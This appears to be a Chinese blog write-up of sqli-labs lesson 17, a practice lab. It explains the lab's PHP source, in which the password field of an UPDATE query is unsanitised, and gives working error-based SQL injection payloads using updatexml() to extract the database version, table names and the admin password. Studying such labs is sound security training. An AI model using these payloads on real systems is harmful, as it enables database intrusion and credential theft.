sqli-labs(17)
0x01简介
百度翻译了一下 基于错误的更新查询 字符型
第一次遇到这种情况 那我们先看看源代码行吧
不懂函数的百度
$result
= mysql_query(
$sql
);
//返回查询的数据的一个结果集,需要用php相应的mysql函数取值。比如mysql_fetch_array()这个函数。还有你说的前一节课用到的mysql_query(),这个函数是执行sql语句的,并不是取值。
$row = mysql_fetch_array($result)意思是从查询结果里面获取一行数据,这个语句的前面两行大概是:
$sql='select a,b,c from .....';
$result=mysql_query($sql);
那么,执行这个语句之后,$row['a']、$row['b']等变量就有查询数据的一条
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; 这句话是我自己的理解 这里的意思是在users列里面找到username字段对应的password并且更新它
这是别的理解
我们这里来看一下怎么处理usernm的
只截取15个字符
get_magic_quotes_gpc()
当magic_quotes_gpc=On的时候,函数get_magic_quotes_gpc()就会返回1
当magic_quotes_gpc=Off的时候,函数get_magic_quotes_gpc()就会返回0
stripslashes()
删除由 addslashes() 函数添加的反斜杠
ctype_digit()判断是不是数字,是数字就返回true,否则返回false
mysql_real_escape_string()转义 SQL 语句中使用的字符串中的特殊字符。
那这里对useamane参数进行了 check 但是未对 passwrod进行检查 因此我们可以从password下手
接下来看下updatexml这个函数,一直网上都说的很模糊,都只是给的payload:and (updatexml(1,concat(0x5c,version(),0x5c)),1),这里只看得出来需要三个参数,但是参数是什么意思缺一无所知,我们只能通过help来查看
从UpdateXML(xml_target, xpath_expr, new_xml)看出
第一个参数是目标是针对于xml文档
第二参数是xpath的表达,这里可以看下xpath教程: http://www.w3school.com.cn/xpath/
第三个参数是将xpath表达式转换成什么,也就是替换查找到的符合条件的数据
以上看了下,表示还是有些懵逼。
那就来按照他的方式实例玩玩是怎么回事
是不是没看懂,为什么会这样,我把内容拿出来分析
2)同样的第二条UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2;可以看出将第一个参数的内容装换为了<e>fff</e>,但是由于查找方式是从第一个点开始查询,这里直接跳过了从第二开始查询,所以没有查询到,看下面的说明
这样一来使用//就可以随便查询了,不会考虑节点的位置问题,其他的就依次内推
那么分析完了接下来我们对password开始下手吧
0X01爱之初体验
爆破版本
uname=admin&passwd=' and (updatexml(1,concat(0x5c,version(),0x5c),1))#submit=submit
0X02表名的获取
uname=admin&passwd=' and (updatexml(1,concat(0x5c,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x5c),1))#submit=submit
爆破列名同表名的方法
这里我们来看看字段名
uname=admin&passwd=' and (updatexml(1,concat(0x5c,(select password from users where username='admin'),0x5c),1))#submit=submit
按照道理这里不会错啊 为什么会报错呐?
百度
搜嘎原来如此 那我们如何绕过呐?????
网上学习的大牛的思路 在构造一个select语句
uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin')aa),0x5c),1))#submit=submit
少就是多 慢就是快 慢慢学
最新文章
- Createjs学习一
- layer弹出层不居中解决方案
- BizTalk开发系列(十六) XML命名空间
- Linux系统常见的压缩与打包
- 【转】DataSource高级应用
- codevs1044四子连棋(Dfs)
- Bootstrap3 入门实战
- Android Camera 调用流程总结
- (1)ES6中let,const,对象冻结,跨模块常量,新增的全局对象介绍
- web框架之Django基础
- Django 2.0 学习
- Effective C++ 条款46
- iproute2应用
- KB/MB/GB。。单位换算
- 1126 Eulerian Path (25 分)
- PHP swoole process的使用
- lucene 初探 - 查询
- Mysql不改默认侦听回环地址而ssh通道连接的办法
- Guava包学习-Cache
- 关于matlab中定点数overflow的处理办法